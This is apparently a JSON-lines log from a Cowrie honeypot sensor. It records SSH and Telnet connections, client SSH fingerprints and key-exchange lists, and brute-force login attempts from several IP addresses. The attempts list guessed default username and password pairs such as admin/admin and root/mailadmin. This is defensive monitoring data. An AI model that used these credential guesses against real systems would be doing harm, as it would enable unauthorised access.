{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:02.284447Z","src_ip":"103.228.69.212","session":"3f7b61dd0018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:03.221166Z","src_ip":"103.228.69.212","session":"3f7b61dd0018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:04.450737Z","src_ip":"103.228.69.212","session":"3f7b61dd0018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.73.19.148","src_port":40492,"dst_ip":"159.203.135.109","dst_port":23,"session":"74b5cf935a36","protocol":"telnet","message":"New connection: 94.73.19.148:40492 (159.203.135.109:23) [session: 74b5cf935a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:28.843709Z"}
{"eventid":"cowrie.session.closed","duration":11.962197065353394,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:40.805765Z","src_ip":"94.73.19.148","session":"74b5cf935a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.192","src_port":42434,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e678e6c51ce","protocol":"ssh","message":"New connection: 64.62.156.192:42434 (159.203.135.109:22) [session: 5e678e6c51ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:42.416200Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0019\\xa3\u0004a\\xf1t\u0019\r\\x90\\xa8k\\x9a^3\\xc7Vm\\xac\u05d8\\x84\\xe9\\xeai<Ki$b\u007f\\xac=\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0019\\xa3\u0004a\\xf1t\u0019\r\\x90\\xa8k\\x9a^3\\xc7Vm\\xac\u05d8\\x84\\xe9\\xeai<Ki$b\u007f\\xac=\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:42.420969Z","src_ip":"64.62.156.192","session":"5e678e6c51ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:42.424470Z","src_ip":"64.62.156.192","session":"5e678e6c51ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01509809494019,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:56.149659Z","src_ip":"115.178.49.79","session":"47dcc6a1a72f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53198,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33b2bf62387","protocol":"ssh","message":"New connection: 103.228.69.212:53198 (10.17.0.5:22) [session: d33b2bf62387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:00.860008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:00.868110Z","src_ip":"103.228.69.212","session":"d33b2bf62387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:01.101695Z","src_ip":"103.228.69.212","session":"d33b2bf62387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:02.063644Z","src_ip":"103.228.69.212","session":"d33b2bf62387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:03.303440Z","src_ip":"103.228.69.212","session":"d33b2bf62387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":41848,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ddc5de1e6f7","protocol":"ssh","message":"New connection: 103.228.69.212:41848 (10.17.0.5:22) [session: 8ddc5de1e6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:59.811714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:24:59.817152Z","src_ip":"103.228.69.212","session":"8ddc5de1e6f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:00.045340Z","src_ip":"103.228.69.212","session":"8ddc5de1e6f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:00.990155Z","src_ip":"103.228.69.212","session":"8ddc5de1e6f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:02.221141Z","src_ip":"103.228.69.212","session":"8ddc5de1e6f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.169.46.83","src_port":33098,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce6897643d7","protocol":"ssh","message":"New connection: 202.169.46.83:33098 (159.203.135.109:22) [session: 5ce6897643d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:03.053869Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:07.910469Z","src_ip":"202.169.46.83","session":"5ce6897643d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.169.46.83","src_port":36262,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b498f80e3b","protocol":"ssh","message":"New connection: 202.169.46.83:36262 (159.203.135.109:22) [session: 02b498f80e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:08.689791Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:08.831465Z","src_ip":"202.169.46.83","session":"02b498f80e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.169.46.83","src_port":38877,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfbbf6e43465","protocol":"ssh","message":"New connection: 202.169.46.83:38877 (159.203.135.109:22) [session: dfbbf6e43465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:14.309120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:14.759088Z","src_ip":"202.169.46.83","session":"dfbbf6e43465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.9.129","src_port":13732,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40f54d1106b","protocol":"ssh","message":"New connection: 34.78.9.129:13732 (159.203.135.109:22) [session: a40f54d1106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:14.925040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:15.009993Z","src_ip":"34.78.9.129","session":"a40f54d1106b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:15.043262Z","src_ip":"202.169.46.83","session":"dfbbf6e43465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.9.129","src_port":13744,"dst_ip":"159.203.135.109","dst_port":22,"session":"d10a67fd873b","protocol":"ssh","message":"New connection: 34.78.9.129:13744 (159.203.135.109:22) [session: d10a67fd873b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:15.170174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:15.175314Z","src_ip":"34.78.9.129","session":"d10a67fd873b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:15.254442Z","src_ip":"34.78.9.129","session":"d10a67fd873b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:16.514166Z","src_ip":"34.78.9.129","session":"d10a67fd873b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:16.600638Z","src_ip":"34.78.9.129","session":"d10a67fd873b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:16.605793Z","src_ip":"34.78.9.129","session":"a40f54d1106b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:17.317402Z","src_ip":"202.169.46.83","session":"dfbbf6e43465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:19.529655Z","src_ip":"34.78.9.129","session":"a40f54d1106b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":24422,"dst_ip":"159.203.135.109","dst_port":22,"session":"28bcf3ba9c23","protocol":"ssh","message":"New connection: 34.79.163.128:24422 (159.203.135.109:22) [session: 28bcf3ba9c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:54.214200Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:54.219537Z","src_ip":"34.79.163.128","session":"28bcf3ba9c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":24424,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2ebf3a0234","protocol":"ssh","message":"New connection: 34.79.163.128:24424 (159.203.135.109:22) [session: 6c2ebf3a0234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:55.508298Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:55.590374Z","src_ip":"34.79.163.128","session":"6c2ebf3a0234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":58740,"dst_ip":"10.17.0.5","dst_port":22,"session":"a82ffb0cd2c5","protocol":"ssh","message":"New connection: 103.228.69.212:58740 (10.17.0.5:22) [session: a82ffb0cd2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:57.886201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:57.891984Z","src_ip":"103.228.69.212","session":"a82ffb0cd2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:58.127177Z","src_ip":"103.228.69.212","session":"a82ffb0cd2c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:25:59.070716Z","src_ip":"103.228.69.212","session":"a82ffb0cd2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:00.302350Z","src_ip":"103.228.69.212","session":"a82ffb0cd2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":64356,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4c7693575f","protocol":"ssh","message":"New connection: 34.79.163.128:64356 (159.203.135.109:22) [session: ab4c7693575f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:04.669972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:04.707481Z","src_ip":"34.79.163.128","session":"ab4c7693575f","protocol":"ssh"}
